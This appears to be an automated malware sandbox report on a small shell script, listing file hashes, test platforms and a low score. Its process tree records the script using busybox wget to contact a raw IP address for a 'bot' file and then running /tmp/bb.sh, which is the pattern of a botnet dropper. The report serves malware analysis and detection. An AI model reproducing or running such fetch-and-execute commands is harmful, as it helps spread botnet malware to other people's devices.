Analysis
- max time kernel
30s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
06/07/2026, 20:32
Static task
static1
Behavioral task
behavioral1
Sample
5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
Resource
ubuntu1804-amd64-20260513-en
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
Resource
debian9-armhf-20260513-en
0 signatures
150 seconds
Behavioral task
behavioral3
Sample
5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
Resource
debian9-mipsbe-20260513-en
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
Resource
debian9-mipsel-20260513-en
0 signatures
150 seconds
General
- Target 5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
- Size 121B
- Sample260706-zbec3adv4x
- SHA256 5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791
- MD5 5a1798dde285e6d3139cb85808f95658
- SHA1 f6593e0832f2ac7bd81a73883fd9a1703fad5349
- SHA512 92ee432b26b549e465fcb5f00b4124a8c7e3a1f1b326f6987ca863eebdfe053bad87938adc5c940b4b1f1e1f2a874872e75647c36a5629615e322009e31649e4
- TLSH T18FB022E822028030B88CC00800A3C030828288A8AC02AEA28A0808A2A208B82B00CB38
- MD5 SHA1 SHA512 TLSH
Score
1/10
Malware Config
Signatures
Processes
-
/tmp/5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh/tmp/5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh1⤵PID:643
-
/bin/busybox/bin/busybox wget -q -O /dev/null http://152.70.4.175:5555/bot2⤵PID:644
-
-
/bin/busybox/bin/busybox sleep 302⤵PID:662
-
-
/bin/shsh /tmp/bb.sh2⤵PID:754
-